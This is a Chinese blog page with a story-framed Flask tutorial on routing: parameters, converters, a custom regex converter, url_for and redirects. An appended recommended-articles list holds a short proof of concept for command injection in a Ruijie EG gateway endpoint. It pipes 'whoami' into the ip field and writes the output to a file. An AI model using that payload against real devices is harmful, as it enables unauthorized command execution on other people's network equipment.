有故事,带项目的flask教程(2)---flask的路由管理_flask路由集中管理-程序员宅基地

技术标签: python  flask教程  故事  flask  后端开发  

一大早,离公司上班还有两个小时,老项和小王已经在公司了。因为他们昨天就约好了,以后每天都早点到公司,趁还没上班,老项就给小王讲解flask和项目的东西,顺便帮小王看看前一天的任务完成的如何。

“小王啊,我问你,如果要你做一个网站,你能想到需要做哪些工作?”老项首先问道。

小王思考了一下说:“我觉得肯定要先做网站的页面,当然页面上面展示的数据应该是从服务器上数据库查到的,那应该还要做数据库相关的工作。一个网站有很多页面,访问每个页面的地址也不一样,也需要对这些url地址进行管理。”

老项点了点头说:“说的不错,我来帮你总结一下。你说的url地址管理实际就是flask的路由管理;展示页面和相关数据就是flask的模板处理,数据库相关的操作我们可以使用orm的方式来实现,不过就需要用到flask的第三方包了。今天我们就来说一下flask的路由管理。”

说完,老项就开始了他的讲解。

 

在第一个项目中,我们使用装饰器@app.route("/")设置了一个最简单的路由来修饰函数(注意:这个函数也被称为视图函数,主要用来处理前台页面的展示和数据渲染的,因为我们还没学习模板和数据库的处理,为了演示方便,现在的视图就简单的返回一些字符串),不过实际路由的情况是多种多样的,我们分别来说明。

  • 普通路由

普通路由是指没有参数的路由,比如一个网站的首页,我们会用index来指定它的地址。在flask中,我们也可以用route装饰器来表示普通路由,具体的写法见下图。

pythpi 

一个网站不可能只有一个页面,如果有多个页面,我们就用多个路由来绑定多个视图方法。比如在小王的项目中,除了主页外,我们还可以有一个车型列表页,列举出系统所有可以识别的车型。为了模仿整个汽车识别系统的构架,我们把主页路由修饰的方法也做了调整。具体代码见下图。

pythpi  

 

  • 带参数的路由

更多的时候,路由不是固定的,根据显示的不同页面,路由里面某些字段会发生变化。还是拿小王的项目举例,有了车系列表页,是不是还得有个车系详情页。但是不同的车系详情页显示的内容肯定有区别。我们如何可以让路由可以识别不同的车系呢?我们可以用一个参数来保存车系信息,再让路由来处理参数就行了,具体代码见下图。

pythpi

注意在装饰器里面把参数用<>括起来,然后将该参数作为视图方法的参数进行传递,然后再视图方法中就可以使用这个参数了。那如果路由里面有多个可变的参数,比如一个车系里面还有不同的车型,宝马有X1,X5,Q3等等,如果有一个车型详情页,这个页面的路由就有车系和车型两个参数,这个时候该怎么办呢?其实很简单,我们用两个参数就行了,见下图。

pythpi

 

  • URL参数类型过滤和转换器

在同样的车型下面还有不同的车辆版本,比如宝马X1下面还有时尚型,领先型等等,假设我们用一个数字编号来代表版本,然后在路由里面使用编号作为参数来区分不同的版本。那这个时候就要求flask的路由处理可以对参数类型进行过滤和转换,需要过滤掉编号参数为非数字字符的路由,并且可以把字符转换成数字。其实flask很贴心的为我们准备了转换器,我们先用用看,见下图:

pythpi

注意一下图中类型转换的写法,而且要特别注意“:”号前后不要有空格,否则会报错。根据运行的截图,我们也可以看出这个转换器确实起到了过滤和转换的作用。使用转换器,可以让我们的路由处理更加严谨,flask主要提供了以下四种转换器,见下表。

string

默认的字符转换器,匹配不包含/的字符串

int

接受并转换成整数

float

接受并转换成浮点数

path

匹配包含/的字符串

  • 带正则的路由管理

有的时候我们需要对路由里面的某些参数进行正则匹配,如果有一个网页要显示特定年份的车型,对于年份参数就要进行正则匹配,以防有人输入错误格式的年份。前面学习了flask几个现成的转换器,如果要正则匹配就需要自己定义转换器了,请见下图。

pythpi

  

根据上图的代码,我们自定义了一个正则转换器(34行),使用该转换器对年份做了一个简单的匹配,这里只匹配了四位数字(43行),如果url的年份参数写4位数字,就可以正确路由,否则会找不到该路由。总结一下,在flask中使用正则的步骤如下:

  1. 导入转换器基类,BaseConverter,见31行
  2. 自定义转换器类,见34行,转换器类继承了转换器基类,并且会把第一个参数作为匹配规则进行匹配,见37行
  3. 添加转换器到默认的转换器字典中,见40行,这里在字典中新增了一个键regex
  4. 使用转换器实现你要匹配的规则,见43行
  • 构建url地址

有的时候需要在一个页面上跳转到另一个页面,那就需要获取另一个页面的url路由地址,我们可以把地址直接硬编码在页面上面,但是这样并不灵活,尤其是另一个页面的url路由也需要可变参数的时候,硬编码就没有办法了。更好的办法是在后台生成另一个页面的url地址,这个时候就要用到一个新的方法url_for了。具体使用见下图:

pythpi

在上面的代码中,我们首先导入了url_for方法,代码第一行。url_for方法的原型如下:

def url_for(endpoint, **values),endpoint就是路由的结点,传递视图方法的字符串即可,后面的values就是视图方法的参数,注意要写成关键字参数的形式,见代码第八行。最后返回给页面内容的时候,我们加了一个超链接的标签,这个标签的href属性值就是url_for返回的需要跳转页面地址。

url_for除了用于生成页面上要跳转的url路由外,还可以生成重定向的url。比如一个视图里面需要根据不同的条件重定向到不同的页面,可以配合redirect和url_for进行重定向。比如在小王的项目中,同样是访问某一个路由,但是管理人员和普通用户实际看到的页面并不一样,管理人员可能会跳转到后台管理系统,普通用户看到的就是一个展示页。具体代码见下图。

py

运行服务器,在浏览器输入http://127.0.0.1:5000/user_login/test,就会跳转到http://127.0.0.1:5000/index页面,如果输入http://127.0.0.1:5000/user_login/admin,就会跳转到http://127.0.0.1:5000/admin页面。

 

“好了,这些就是关于flask路由的内容,有了这些内容,相信你就可以先把网站的路由系统做起来了。你今天的任务就是规划车辆识别系统的整个路由,然后把路由以及处理的视图先写出来,因为还没有页面,页面信息就用视图返回的字符串替代就可以了。”老项讲完,就把当天的任务给小王布置了。

小王说:“我提前用脑图理好了一个网站地图,我就按照这个网站地图先把整个路由的框架写好吧。”说完,看了看时间,差不多也要上班了,和老项道了个谢,就到自己的工作岗位上去了。

 

本章任务:

按照老项的要求,配合下面的网页地图,构建汽车识别系统的路由系统和简易视图。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/bbright3493/article/details/90768183

智能推荐

ZOJ2016 POJ1386 HDU1116 Play on Words,欧拉路径及欧拉回路_(play on words)central europe 1999, zoj2016, poj13-程序员宅基地

文章浏览阅读1.1k次。参考这里的点击打开链接,把欧拉路径和欧拉回路的判断总结的淋漓尽致。/******************************************************************************* # Author : Neo Fung_(play on words)central europe 1999, zoj2016, poj1386

探索高效序列化库:Bincode-程序员宅基地

文章浏览阅读389次,点赞5次,收藏8次。探索高效序列化库:Bincode项目地址:https://gitcode.com/servo/bincode在软件开发中,数据的序列化和反序列化是不可或缺的一环,它使得我们能在内存与磁盘之间,或者在网络中传输复杂的数据结构。今天,我们将聚焦于一个特别高效的 Rust 库——Bincode,一个用于 Rust 的紧凑且快速的二进制序列化框架。项目简介Bincode 是一个轻量级的、可配置的库...

ijkplyaer编译脚本分析(二)——compile-ffmpeg.sh_./compile-ffmpeg.sh-程序员宅基地

文章浏览阅读2.8k次。compile-ffmpeg.sh#! /usr/bin/env bash## Copyright (C) 2013-2014 Zhang Rui ## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in comp_./compile-ffmpeg.sh

python 热力图_ArcGIS API for Javascript 4.X扩展heatmap.js实现热力图效果-程序员宅基地

文章浏览阅读454次。由于WebGIS地图可视化比较热门,WebGIS学习离不开ArcGIS API for Javascript,地图可视化的学习又离不开热力图,因此今天我们给大家带来一篇可以同时学习以上两个技能的文章。heatmap.js虽然ArcGIS API for Javascript 4.X中已经提供了热力图对应的渲染器HeatmapRenderer,但是在实际应用中,大多通过业务数据与前端来实现..._python arcgis 热力图

spring cloude 使用fegin远程调用接口返回了linkedHashMap的问题_【springcloud-feign】springcloud项目通过fegin远程调用接口返回结果类-程序员宅基地

文章浏览阅读3.1k次,点赞7次,收藏8次。作者情况描述:最近在使用微服务进行服务之间的调用,通过fegin client调用时出现的问题接口服务方返回参数:接口层封装返回的对象 Result实现层返回的对象 DeviceVo接口调用方放回值类型:Result调用后返回的对象:Result,注意此时的data对象为LinkedHashMap并显示报错信息:[java.lang.ClassCastExcept..._【springcloud-feign】springcloud项目通过fegin远程调用接口返回结果类型为linke

简述 URL 并分别说明各部分的含义_var url中的m d 是什么意思-程序员宅基地

文章浏览阅读1.5w次,点赞2次,收藏35次。统一资源定位符(URL)是用于完整地描述Internet上网页和其他资源的地址的一种标识方法。  Internet上的每一个网页都具有一个唯一的名称标识,通常称之为URL地址,这种地址可以是本地磁盘,也可以是局域网上的某一台计算机,更多的是Internet上的站点。简单地说,URL就是Web地址,俗称“网址”。  URI 方案集,包含如何访问 Internet 上的资源的明确指令。_var url中的m d 是什么意思

随便推点

计算图像R、G、B三色的直方图_ckimage exposure.histogram r g b 直方图-程序员宅基地

文章浏览阅读1.3k次。VS2010+Opencv2.4.6_ckimage exposure.histogram r g b 直方图

锐捷EG易网关远程命令执行漏洞-1_/guest_auth/guestisup.php-程序员宅基地

文章浏览阅读9.1k次,点赞2次,收藏6次。测试poc/guest_auth/guestIsUp.php如果没有返回任何信息,且状态码为200,那么很大可能存在远程命令执行payload如下将whoami命令执行结果输出到xxoo.txt文件中POST /guest_auth/guestIsUp.phpmac=1&ip=127.0.0.1|whoami > xxoo.txturl查看写入的文件,获取到目标当前用户和当前目录下的文件payload如下:http://xx.xx.xx.xx/guest_auth/xxo_/guest_auth/guestisup.php

强化学习(五)---基于模型的强化学习实战_强化学习网络负载的流量矩阵变换后的向量-程序员宅基地

文章浏览阅读1.6k次。有一个4*4的矩阵,0和15代表出口结果输出第一个矩阵一共输出16个向量,每个向量里面的位置代表,在当前状态往哪里走比较好,第二个矩阵对第一个矩阵进行统计处理,更加直观,也是表示在16个状态,每个位置最好的动作方向参考资料:唐宇迪视频..._强化学习网络负载的流量矩阵变换后的向量

Ubuntu 20.04 配置编译环境_ubuntu20.04 bianyihuanjing-程序员宅基地

文章浏览阅读6.3k次,点赞7次,收藏12次。1、安装gcc参考文章2、编译c程序_ubuntu20.04 bianyihuanjing

用Ogre渲染PhysX Cloth的实现方法(附源代码下载)-程序员宅基地

文章浏览阅读1.5k次。PhysX模拟布料的结果保存在两个重要的缓冲区内,一个是顶点缓冲区,另一个是索引缓冲区,有了这两个数据之后,就可以很容易的在图形库中实现渲染了,无论是DirectX还是OpenGL都比较容易,这里介绍一下在开源的图形引擎Ogre中的实现方法。 用到的是ManualObject,它可以手工指定渲染对象的顶点和索引缓冲。这正是我们想要的,具体代码如下。 void T_physx cloth

python中list列表添加元素的三种方法_python list.add()-程序员宅基地

文章浏览阅读1.1w次,点赞5次,收藏14次。使用 + 运算符可以将多个序列连接起来;列表是序列的一种,所以也可以使用 + 进行链接,这样就相当于在第一个列表的末尾添加了另一个列表示例:a_list = ["city","kill",11,98]b_list = [12,55,"joke",90]sum_list = a_list + b_listprint(sum_list)运行结果:['city', 'kill', 11, 98, 12, 55, 'joke', 90]从运行结果可以发现,使用 + 会生成一个新的列表_python list.add()

推荐文章

热门文章

相关标签